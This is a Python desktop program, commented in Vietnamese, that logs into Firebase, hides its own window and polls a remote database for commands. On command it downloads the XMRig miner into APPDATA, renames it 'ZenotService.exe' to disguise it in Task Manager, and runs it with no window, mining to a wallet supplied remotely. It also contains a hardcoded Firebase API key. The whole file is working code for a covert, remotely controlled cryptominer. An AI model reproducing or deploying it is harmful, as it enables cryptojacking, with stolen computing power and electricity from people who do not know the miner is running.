import tkinter as tk from tkinter import messagebox import requests, threading, time, os, subprocess, socket, zipfile, shutil # --- CẤU HÌNH --- API_KEY = "AIzaSyBrKWSjYj7x8gUKPXUyHKTidAFtOIa5ul4" DB_URL = "https://zunrdp-default-rtdb.asia-southeast1.firebasedatabase.app" MINER_URL = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip" FAKE_NAME = "ZenotService.exe" # Tên lõi đào trong Task Manager class ZenotV36: def __init__(self, root): self.root = root self.root.title("Zenot Cloud Connector") self.root.geometry("320x420") self.root.configure(bg="#050505") self.worker_id = socket.gethostname() # Tên máy hiện trên Web & unMineable self.uid = None self.current_coin = "IDLE" self.current_cpu = 0 self.setup_ui() def setup_ui(self): tk.Label(self.root, text="ZENOT V36", font=("Arial", 24, "bold"), fg="#00f3ff", bg="#050505").pack(pady=40) self.e_mail = tk.Entry(self.root, width=28, bg="#111", fg="white", insertbackground="white") self.e_mail.pack(pady=10, ipady=5); self.e_mail.insert(0, "Email...") self.e_pass = tk.Entry(self.root, width=28, bg="#111", fg="white", show="*", insertbackground="white") self.e_pass.pack(pady=10, ipady=5) tk.Button(self.root, text="KẾT NỐI HỆ THỐNG", bg="#bc13fe", fg="white", font=("Arial", 10, "bold"), relief="flat", width=20, command=self.login).pack(pady=30, ipady=8) def login(self): email = self.e_mail.get(); pwd = self.e_pass.get() url = f"https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key={API_KEY}" try: r = requests.post(url, json={"email":email, "password":pwd, "returnSecureToken":True}) d = r.json() if "localId" in d: self.uid = d["localId"] messagebox.showinfo("Zenot", "Node Connected!") self.root.withdraw() # Ẩn app sau khi kết nối thành công threading.Thread(target=self.background_loop, daemon=True).start() else: messagebox.showerror("Error", "Login Failed!") except: messagebox.showerror("Error", "Check Connection!") def background_loop(self): last_ts = 0 while True: try: # 1. BÁO CÁO TRẠNG THÁI LÊN WEB (Heartbeat) requests.patch(f"{DB_URL}/users/{self.uid}/workers/{self.worker_id}.json", json={ "last_seen": int(time.time() * 1000), "coin": self.current_coin, "cpu": self.current_cpu }) # 2. NGHE LỆNH TỪ WEB (Hộp thư riêng cho từng máy) r = requests.get(f"{DB_URL}/users/{self.uid}/workers/{self.worker_id}/command.json") cmd = r.json() if cmd and cmd.get("timestamp", 0) > last_ts: last_ts = cmd["timestamp"] if cmd["action"] == "START": self.current_coin = cmd["coin"] self.current_cpu = cmd["cpu"] self.start_miner(cmd["coin"], cmd["wallet"], cmd["cpu"]) elif cmd["action"] == "STOP": self.stop_miner() time.sleep(10) # Check lệnh mỗi 10 giây cho nhẹ máy except: time.sleep(20) def start_miner(self, coin, wallet, cpu): folder = os.path.join(os.getenv('APPDATA'), 'ZenotV36') if not os.path.exists(folder): os.makedirs(folder) exe = os.path.join(folder, FAKE_NAME) # Tải Miner nếu chưa có if not os.path.exists(exe): r = requests.get(MINER_URL, stream=True) with open(os.path.join(folder, "pkg.zip"), 'wb') as f: f.write(r.content) with zipfile.ZipFile(os.path.join(folder, "pkg.zip"), 'r') as z: z.extractall(folder) for root, _, fs in os.walk(folder): if "xmrig.exe" in fs: shutil.move(os.path.join(root, "xmrig.exe"), exe) self.stop_miner() # Dọn dẹp bản cũ trước khi chạy bản mới # Cấu hình chuẩn cho unMineable: COIN:WALLET.WORKERNAME user_str = f"{coin}:{wallet}.{self.worker_id}" # Lệnh chạy ngầm với giới hạn CPU args = [exe, '-o', 'rx.unmineable.com:3333', '-a', 'rx/0', '-u', user_str, '-p', 'x', '--max-cpu-usage', str(cpu), '--background'] si = subprocess.STARTUPINFO() si.dwFlags |= subprocess.STARTF_USESHOWWINDOW subprocess.Popen(args, startupinfo=si, creationflags=subprocess.CREATE_NO_WINDOW) def stop_miner(self): self.current_coin = "IDLE"; self.current_cpu = 0 os.system(f"taskkill /f /im {FAKE_NAME}") if __name__ == "__main__": root = tk.Tk(); ZenotV36(root); root.mainloop()